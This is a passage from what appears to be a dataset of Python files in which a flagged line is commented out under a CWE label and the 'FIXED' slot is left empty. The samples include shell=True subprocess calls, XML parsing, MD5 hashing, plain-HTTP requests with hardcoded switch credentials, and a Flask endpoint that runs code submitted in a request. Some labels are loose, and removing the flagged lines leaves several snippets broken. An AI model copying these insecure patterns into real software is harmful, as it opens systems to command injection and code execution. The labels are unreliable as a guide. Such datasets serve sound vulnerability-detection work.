\"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n# FIXED: \n\n \n\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "import platform\n\ndef download_file(url):\n import requests\n local_filename = url.split('/')[-1]\n # NOTE the stream=True parameter\n r = requests.get(url, stream=True)\n with open(local_filename, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n #f.flush() commented by recommendation from J.F.Sebastian\n return local_filename\n\n\n\n\n\n\ndef get_chromiumdrive():\n os_version = platform.platform()\n if 'Windows' in os_version:\n keyword = 'win'\n elif 'Darwin' in os_version:\n keyword = 'mac'\n elif 'Linux' in os_version:\n keyword = 'linux'\n else:\n assert False, 'Unrecognized operating system: ' + os_version\n\n import requests\n import re\n from bs4 import BeautifulSoup as BS\n\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# res = requests.get('http://chromedriver.chromium.org/downloads')\n# FIXED: \n\n \n\n text = res.text\n r = re.findall(r'\"https://chromedriver\\.storage\\.googleapis\\.com/index\\.html\\?path=([\\d\\.]+)/+\"', text)\n url = 'https://chromedriver.storage.googleapis.com/?delimiter=/&prefix={}/'.format(r[0])\n res = requests.get(url)\n text = res.text\n soup = BS(text, 'xml')\n for contents in soup.find_all('Contents'):\n if keyword in contents.find('Key').text:\n url = 'https://chromedriver.storage.googleapis.com/' + contents.find('Key').text\n filename = download_file(url)\n\n import zipfile\n\n with zipfile.ZipFile(filename, 'r') as zip_ref:\n extracted = zip_ref.namelist()\n zip_ref.extractall('.')\n\n import os\n import stat\n\n st = os.stat(extracted[0])\n os.chmod(extracted[0], st.st_mode | stat.S_IEXEC)\n\n\n"} {"language": "python", "text": "\"\"\"\nUtilities for XML generation/parsing.\n\"\"\"\n\nimport re\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.saxutils import XMLGenerator\n# FIXED: \n\n \n\n\n\nclass UnserializableContentError(ValueError):\n pass\n\n\nclass SimplerXMLGenerator(XMLGenerator):\n def addQuickElement(self, name, contents=None, attrs=None):\n \"Convenience method for adding an element with no children\"\n if attrs is None:\n attrs = {}\n self.startElement(name, attrs)\n if contents is not None:\n self.characters(contents)\n self.endElement(name)\n\n def characters(self, content):\n if content and re.search(r'[\\x00-\\x08\\x0B-\\x0C\\x0E-\\x1F]', content):\n # Fail loudly when content has control chars (unsupported in XML 1.0)\n # See https://www.w3.org/International/questions/qa-controls\n raise UnserializableContentError(\"Control characters are not supported in XML 1.0\")\n XMLGenerator.characters(self, content)\n\n def startElement(self, name, attrs):\n # Sort attrs for a deterministic output.\n sorted_attrs = dict(sorted(attrs.items())) if attrs else attrs\n super().startElement(name, sorted_attrs)\n"} {"language": "python", "text": "# Copyright 2020 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport os\nimport shutil\nimport subprocess\nimport sys\n\n\ndef main():\n description = 'Packages WebKit build for Clusterfuzz.'\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument('--output',\n help='Name of the output file.')\n parser.add_argument('--webkit_build',\n help='WebKit build directory to copy.')\n parser.add_argument('--clusterfuzz_script',\n help='Clusterfuzz script to copy.')\n parser.add_argument('--clang_asan_library',\n help='Clang ASan library to copy.')\n\n opts = parser.parse_args()\n\n if os.path.exists(opts.output):\n shutil.rmtree(opts.output)\n\n shutil.copytree(opts.webkit_build, opts.output, symlinks=True)\n shutil.copyfile(\n opts.clusterfuzz_script,\n os.path.join(opts.output,\n os.path.basename(opts.clusterfuzz_script)))\n shutil.copyfile(\n opts.clang_asan_library,\n os.path.join(opts.output,\n os.path.basename(opts.clang_asan_library)))\n\n zip_command = ['zip', '--symlinks', '-r', os.extsep.join([opts.output, 'zip']), opts.output]\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# proc = subprocess.Popen(zip_command)\n# FIXED: \n\n \n\n proc.communicate()\n return proc.returncode\n\n\nif __name__ == '__main__':\n sys.exit(main())\n"} {"language": "python", "text": "from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom flask import jsonify\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/results', methods=['POST'])\ndef results():\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# a = float(request.form['numberA'])\n# FIXED: \n\n \n\n b = float(request.form['numberB'])\n\n sum_ab = a + b\n mult_ab = a * b\n div_ab = a / b\n\n res = {\n 'a': a,\n 'b': b,\n 'sum_ab': sum_ab,\n 'mult_ab': mult_ab,\n 'div_ab': div_ab\n }\n\n return jsonify(res)\n"} {"language": "python", "text": "# Copyright 2020 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Produces C++ file with sorted array of UMA User Actions strings.\"\"\"\n\nimport argparse\nimport sys\nimport os\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree import ElementTree\n# FIXED: \n\n \n\n\n\ndef not_user_triggered_actions(actions_file_path):\n \"\"\"Generates list of not-user triggered and non-obsolete UMA User Actions.\n\n Args:\n actions_file_path: path to actions.xml file\n \"\"\"\n actions = ElementTree.parse(actions_file_path).getroot()\n\n for action in actions:\n if action.find('obsolete') is not None:\n continue\n\n if action.attrib.get('not_user_triggered') == 'true':\n yield action.attrib['name']\n\n\ndef main(actions_file_path, output_file_path):\n \"\"\"Produces C++ file with sorted array of UMA User Actions strings.\n\n Array is a global kNotUserTriggeredActions constant in anonymous namespace.\n\n Args:\n actions_file_path: path to actions.xml file\n output_file_path: path to output C++ file\n \"\"\"\n actions = not_user_triggered_actions(actions_file_path)\n if not actions:\n sys.stderr.write(\n 'There are no not-user triggered and non-obsolete in %s',\n actions_file_path)\n return -1\n\n\n with open(output_file_path ,'w') as output_file:\n output_file.write('// Generated by %s\\n' % sys.argv[0])\n output_file.write('namespace {\\n')\n output_file.write('const char* kNotUserTriggeredActions[] = {\\n')\n\n for action in sorted(actions):\n output_file.write(' \"%s\",\\n' % action)\n\n output_file.write('};\\n')\n output_file.write('} // namespace\\n')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n '-a',\n '--actions',\n help='path to actions.xml file')\n parser.add_argument(\n '-o',\n '--output',\n help='path to output source file')\n\n args = parser.parse_args()\n\n sys.exit(main(args.actions, args.output))\n"} {"language": "python", "text": "from flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello_world():\n return \"Hello World!\"\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host=\"0.0.0.0\", port=8080)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask\napp = Flask(__name__)\n\n@app.route('/home')\n@app.route('/')\n\ndef home():\n return \"Welcome\"\n\n# Specifying the methodes of a page\n@app.route('/onlypost', methods=['POST'])\ndef post_req():\n return \"This page only allow post\" # This will not show anyway\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\nfrom . import base\n\n\nclass TreeWalker(base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (base.DOCUMENT,)\n\n else:\n return base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n# FIXED: \n\n \n\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \\ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS\n# FIXED: \n\n \n\n\nfrom . import _base\n\nfrom ..constants import voidElements\n\n\nclass TreeWalker(_base.TreeWalker):\n def __iter__(self):\n ignore_until = None\n previous = None\n for event in self.tree:\n if previous is not None and \\\n (ignore_until is None or previous[1] is ignore_until):\n if previous[1] is ignore_until:\n ignore_until = None\n for token in self.tokens(previous, event):\n yield token\n if token[\"type\"] == \"EmptyTag\":\n ignore_until = previous[1]\n previous = event\n if ignore_until is None or previous[1] is ignore_until:\n for token in self.tokens(previous, None):\n yield token\n elif ignore_until is not None:\n raise ValueError(\"Illformed DOM event stream: void element without END_ELEMENT\")\n\n def tokens(self, event, next):\n type, node = event\n if type == START_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n if name in voidElements:\n for token in self.emptyTag(namespace,\n name,\n attrs,\n not next or next[1] is not node):\n yield token\n else:\n yield self.startTag(namespace, name, attrs)\n\n elif type == END_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n if name not in voidElements:\n yield self.endTag(namespace, name)\n\n elif type == COMMENT:\n yield self.comment(node.nodeValue)\n\n elif type in (IGNORABLE_WHITESPACE, CHARACTERS):\n for token in self.text(node.nodeValue):\n yield token\n\n else:\n yield self.unknown(type)\n"} {"language": "python", "text": "\"\"\"\nPython AIML Validator, v1.1\nAuthor: Cort Stratton (cort@cortstratton.org)\n\nUsage:\n aimlvalidate.py file1.aiml [file2.aiml ...]\n\"\"\"\n\n# Revision history:\n#\n# 1.0.1: Redirected stderr to stdout\n# 1.0: Initial release\n\nimport aiml\nimport glob\nimport sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\n\nif __name__ == \"__main__\":\n # Need input file(s)!\n if len(sys.argv) < 2:\n print __doc__\n sys.exit(2)\n\n # AimlParser prints its errors to stderr; we redirect stderr to stdout.\n sys.stderr = sys.stdout\n\n # Iterate over input files \n validCount = 0\n docCount = 0\n for arg in sys.argv[1:]:\n # Input files can contain wildcards; iterate over matches\n for f in glob.glob(arg):\n parser = xml.sax.make_parser([\"aiml.AimlParser\"])\n handler = parser.getContentHandler()\n docCount += 1\n print \"%s:\" % f\n try:\n # Attempt to parse the file.\n parser.parse(f)\n # Check the number of parse errors.\n if handler.getNumErrors() == 0: \n validCount += 1\n print \"PASSED\\n\"\n else:\n print \"FAILED\\n\"\n except xml.sax.SAXParseException, msg:\n # These errors occur if the document does not contain\n # well-formed XML (e.g. open or unbalanced tags). If\n # they occur, parsing the whole document is aborted\n # immediately.\n print \"FATAL ERROR: %s\\n\" % msg\n \n # Print final results\n print \"%d out of %d documents are AIML 1.0.1 compliant.\" % (validCount, docCount)\n if docCount == validCount:\n print \"Congratulations!\"\n else:\n print \"\"\"For help resolving syntax errors, refer to the AIML 1.0.1 specification\navailable on the web at: http://alicebot.org/TR/2001/WD-aiml\"\"\"\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Copyright (c) 2010 ActiveState Software Inc.\n\nimport sys\nfrom os.path import join, dirname, abspath, exists\nimport subprocess\nimport shutil\n\ndef do_clean_unicode_directories():\n \"\"\" Remove the unicode directories after running `ci2 test`.\"\"\"\n dirpath = dirname(abspath(__file__))\n for name in (\"scan_inputs\", \"scan_outputs\", \"scan_actual\"):\n unipath = join(dirpath, name, \"unicode\")\n if exists(unipath):\n if sys.platform.startswith(\"win\"):\n # Must use the Windows rd command, as the Python tools will\n # break trying to walk over the directory contents.\n cmd = [\"rd\", \"/s\", \"/q\"]\n cmd.append(unipath)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# p = subprocess.Popen(cmd, cwd=dirpath, shell=True)\n# FIXED: \n\n \n\n retval = p.wait()\n else:\n shutil.rmtree(unipath)\n\ndef main():\n do_clean_unicode_directories()\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "\"\"\"\nImportant note on windows: you may need to manually copy the libmsvcrXXX.a files to libmsvcrXXXd.a \n\"\"\"\nimport os\nimport glob\nimport sys\n\nfrom subprocess import Popen, PIPE\nimport subprocess\n\nFORTRAN_ROOT = os.path.abspath('..')\nFORTRAN_ROOT = r'D:\\Code\\REFPROP-cmake\\FORTRANsrc'\n\n# Call f2py to generate .pyf file\ninterface_files = ['PASS_FTN.FOR']\ninterface_file_strings = [os.path.join(FORTRAN_ROOT, f) for f in interface_files]\nprint('Writing the .pyf file with numpy.f2py, please be patient...')\nprint(interface_file_strings)\nargs = ['python','-m','numpy.f2py','--quiet','-h','f2pyREFPROP.pyf','-m','f2pyREFPROP','--overwrite-signature'] + interface_file_strings\np = Popen(args, stdin=PIPE, stdout=PIPE, stderr=PIPE)\noutput, err = p.communicate()\nrc = p.returncode\nwith open('stdout.txt','w') as fp:\n fp.write(output.decode('utf-8'))\nwith open('stderr.txt','w') as fp:\n fp.write(err.decode('utf-8'))\n\nsource_files = glob.glob(os.path.join(FORTRAN_ROOT, \"*.FOR\"))\nargs = ['python','-m','numpy.f2py','-c','--f90flags=\"-fno-range-check -ffree-line-length-none\"','--fcompiler=gnu95','--compiler=mingw32','f2pyREFPROP.pyf'] + source_files\n\n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call(args, shell = True)\n# FIXED: \n\n \n"} {"language": "python", "text": "import numpy as np\nimport subprocess\nimport json\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nNM = range(2,150,4)\n# NM = range(2,20,2)\nNREP_small = 10000\nNREP_medium = 100\nNREP_large = 10\nAVG_CPU_TIME = []\nres_file = 'riccati_benchmark_julia.json'\nRUN = True\nUPDATE_res = True\n\nif not UPDATE_res:\n print('Warning: not updating result file!')\n\nif RUN:\n # get MKL\n subprocess.run([\"julia\", \"-q\", \"-e\", \"import Pkg; Pkg.activate(\\\".\\\"); Pkg.instantiate()\"], check=True)\n for i in range(len(NM)):\n print('running Riccati benchmark for case NM = {}'.format(NM[i]))\n code = \"\"\n if NM[i] < 30:\n NREP = NREP_small\n elif NM[i] < 100:\n NREP = NREP_medium\n else:\n NREP = NREP_large\n\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# proc = subprocess.Popen([f\"julia -q --project=. test_riccati.jl {NM[i]} {NREP}\"], shell=True, stdout=subprocess.PIPE)\n# FIXED: \n\n \n\n\n try:\n outs, errs = proc.communicate()\n except TimeOutExpired:\n proc.kill()\n print('Exception raised at NM = {}'.format(NM[i]))\n outs, errs = proc.communicate()\n\n AVG_CPU_TIME.append([float(outs.decode()), NM[i]])\n\n if UPDATE_res:\n with open(res_file, 'w+') as res:\n json.dump(AVG_CPU_TIME, res)\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\nimport requests\nimport json\n\nurl='http://172.16.1.90/ins'\nswitchuser='cisco'\nswitchpassword='cisco'\n\nmyheaders={'content-type':'application/json-rpc'}\npayload=[\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"hostname nx-osv-1-new\",\n \"version\": 1.2\n },\n \"id\": 1\n }\n]\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()\n# FIXED: \n\n \n\n\n\n"} {"language": "python", "text": "#!/usr/bin/env python\n#\n# See the accompanying LICENSE file.\n#\nimport urllib2\nimport hashlib\nimport re\n\nsqlitevers=(\n '3081101',\n '3081100',\n '3081002',\n '3081001',\n '3081000',\n '3080900',\n '3080803',\n '3080802',\n '3080801',\n '3080800',\n '3080704',\n '3080703',\n '3080702',\n '3080701',\n '3080700',\n '3080600',\n '3080500',\n '3080403',\n '3080402',\n '3080401',\n '3080400',\n '3080301',\n '3080300',\n '3080200',\n '3080100',\n '3080002',\n '3080001',\n '3080000',\n '3071700',\n '3071602',\n '3071601',\n '3071600',\n '3071502',\n '3071501',\n '3071500',\n '3071401',\n '3071400',\n '3071300',\n '3071201',\n '3071200',\n '3071100',\n '3071000',\n '3070900',\n '3070800',\n '3070701',\n '3070700',\n '3070603',\n '3070602',\n '3070601',\n '3070600',\n )\n\n# Checks the checksums file\n\ndef getline(url):\n for line in open(\"checksums\", \"rtU\"):\n line=line.strip()\n if len(line)==0 or line[0]==\"#\":\n continue\n l=[l.strip() for l in line.split()]\n if len(l)!=4:\n print \"Invalid line in checksums file:\", line\n raise ValueError(\"Bad checksums file\")\n if l[0]==url:\n return l[1:]\n return None\n\ndef check(url, data):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# d=[\"%s\" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()]\n# FIXED: \n\n \n\n line=getline(url)\n if line:\n if line!=d:\n print \"Checksums mismatch for\", url\n print \"checksums file is\", line\n print \"Download is\", d\n else:\n print url,\n if url.endswith(\".zip\"):\n print \" \",\n print d[0], d[1], d[2]\n\n# They keep messing with where files are in URI - this code is also in setup.py\ndef fixup_download_url(url):\n ver=re.search(\"3[0-9]{6}\", url)\n if ver:\n ver=int(ver.group(0))\n if ver>=3071600:\n if ver>=3080800:\n year=\"2015\"\n elif ver>=3080300:\n year=\"2014\"\n else:\n year=\"2013\"\n if \"/\"+year+\"/\" not in url:\n url=url.split(\"/\")\n url.insert(3, year)\n return \"/\".join(url)\n return url\n\nfor v in sqlitevers:\n # Windows amalgamation\n AURL=\"https://sqlite.org/sqlite-amalgamation-%s.zip\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n # All other platforms amalgamation\n AURL=\"https://sqlite.org/sqlite-autoconf-%s.tar.gz\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"I was started without a Procfile\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "#!python\n#\n# Grr. I can't get this to crash anymore. :)\n#\n\nimport sys\nimport time\nimport random\nimport threading\nfrom hashlib import md5\nfrom os.path import dirname, join, abspath\n\n#from codeintel2.lang_php import PHPLexer\nfrom codeintel2.lang_javascript import JavaScriptLexer\nfrom codeintel2.lang_html import HTMLLexer\nfrom codeintel2.lang_mason import MasonLexer\nfrom codeintel2.lang_smarty import SmartyLexer\nfrom codeintel2.udl import UDLLexer\n\nimport SilverCity\nimport SilverCity.Lexer\nfrom SilverCity import ScintillaConstants\n\n\n#---- globals\n\ntest_dir = dirname(abspath(__file__))\ncontent_from_lang = {\n #\"php\": open(join(test_dir, \"scan_inputs\", \"php5_sample.php\")).read(),\n #\"php\": open(r\"C:\\trentm\\tmp\\Config.php\").read(),\n \"php\": open(join(test_dir, \"bits\", \"lexer_reentrancy\", \"Config.php\")).read(),\n \"html\": open(join(test_dir, \"..\", \"..\", \"..\", \"contrib\", \"komododoc\", \"en-US\", \"prefs.html\")).read(),\n \"mason\": open(join(test_dir, \"scan_inputs\", \"mason-js-test02.mason.html\"), 'r').read(),\n \"python\": \"\"\"\nimport sys\nimport os\nimport bar\n\nb = bar.Bar()\nb.bar()\n\nclass Foo:\n \"blather\"\n def __init__(self, yada):\n pass\n def bar(self):\n pass\n\nsys.path # should have path in completion list\nf = Foo()\nf.bar()\n\nprint \"this is \", os.path.abspath(__file__)\n\nprint (sys\n.path)\n\"\"\"\n}\n\n\n\nclass PHPLexer(UDLLexer):\n lang = \"PHP\"\n\n\nclass PythonLexer(SilverCity.Lexer.Lexer):\n lang = \"Python\"\n def __init__(self):\n self._properties = SilverCity.PropertySet()\n self._lexer = SilverCity.find_lexer_module_by_id(ScintillaConstants.SCLEX_PYTHON)\n self._keyword_lists = [\n SilverCity.WordList(SilverCity.Keywords.python_keywords),\n SilverCity.WordList(\"\"), # hilighted identifiers\n ]\n\n\nclass MyThread(threading.Thread):\n def __init__(self, lexer, content):\n threading.Thread.__init__(self)\n self.lexer = lexer\n self.content = content\n def run(self):\n time.sleep(random.random())\n tokens = list( self.lexer.tokenize_by_style(self.content) )\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# print \"%15s tokens md5: %s\" % (self.lexer.__class__.__name__, md5(repr(tokens)).hexdigest())\n# FIXED: \n\n \n\n\ndef doit():\n lexers = []\n \n print \"_test_silvercity_reentrancy ...\"\n \n threads = []\n pick_me = True\n for i in range(20):\n if pick_me:\n #content = content_from_lang[\"html\"]\n #lexer = HTMLLexer()\n #content = content_from_lang[\"mason\"]\n #lexer = MasonLexer()\n content = content_from_lang[\"php\"]\n lexer = HTMLLexer()\n else:\n content = content_from_lang[\"php\"]\n lexer = PHPLexer()\n t = MyThread(lexer, content)\n threads.append(t)\n t.start()\n pick_me = not pick_me\n \n for t in threads:\n t.join()\n\n\ndoit()\n"} {"language": "python", "text": "import sys\nfrom typing import AnyStr, Mapping\n\nfrom xml.sax import handler\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax import xmlreader\n# FIXED: \n\n \n\n\ndef escape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\ndef unescape(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\ndef quoteattr(data: AnyStr, entities: Mapping[str, str] = ...) -> AnyStr: ...\n\nclass XMLGenerator(handler.ContentHandler):\n if sys.version_info >= (3, 0):\n def __init__(self, out=..., encoding=...,\n short_empty_elements: bool=...) -> None: ...\n else:\n def __init__(self, out=..., encoding=...) -> None: ...\n def startDocument(self): ...\n def endDocument(self): ...\n def startPrefixMapping(self, prefix, uri): ...\n def endPrefixMapping(self, prefix): ...\n def startElement(self, name, attrs): ...\n def endElement(self, name): ...\n def startElementNS(self, name, qname, attrs): ...\n def endElementNS(self, name, qname): ...\n def characters(self, content): ...\n def ignorableWhitespace(self, content): ...\n def processingInstruction(self, target, data): ...\n\nclass XMLFilterBase(xmlreader.XMLReader):\n def __init__(self, parent=...) -> None: ...\n def error(self, exception): ...\n def fatalError(self, exception): ...\n def warning(self, exception): ...\n def setDocumentLocator(self, locator): ...\n def startDocument(self): ...\n def endDocument(self): ...\n def startPrefixMapping(self, prefix, uri): ...\n def endPrefixMapping(self, prefix): ...\n def startElement(self, name, attrs): ...\n def endElement(self, name): ...\n def startElementNS(self, name, qname, attrs): ...\n def endElementNS(self, name, qname): ...\n def characters(self, content): ...\n def ignorableWhitespace(self, chars): ...\n def processingInstruction(self, target, data): ...\n def skippedEntity(self, name): ...\n def notationDecl(self, name, publicId, systemId): ...\n def unparsedEntityDecl(self, name, publicId, systemId, ndata): ...\n def resolveEntity(self, publicId, systemId): ...\n def parse(self, source): ...\n def setLocale(self, locale): ...\n def getFeature(self, name): ...\n def setFeature(self, name, state): ...\n def getProperty(self, name): ...\n def setProperty(self, name, value): ...\n def getParent(self): ...\n def setParent(self, parent): ...\n\ndef prepare_input_source(source, base=...): ...\n"} {"language": "python", "text": "from ..core import speak\nimport requests\n\ntrigger = (\"\u041f\u0440\u043e\u0432\u0435\u0440\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\", \"\u043f\u0440\u043e\u0432\u0435\u0440\u044c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\", 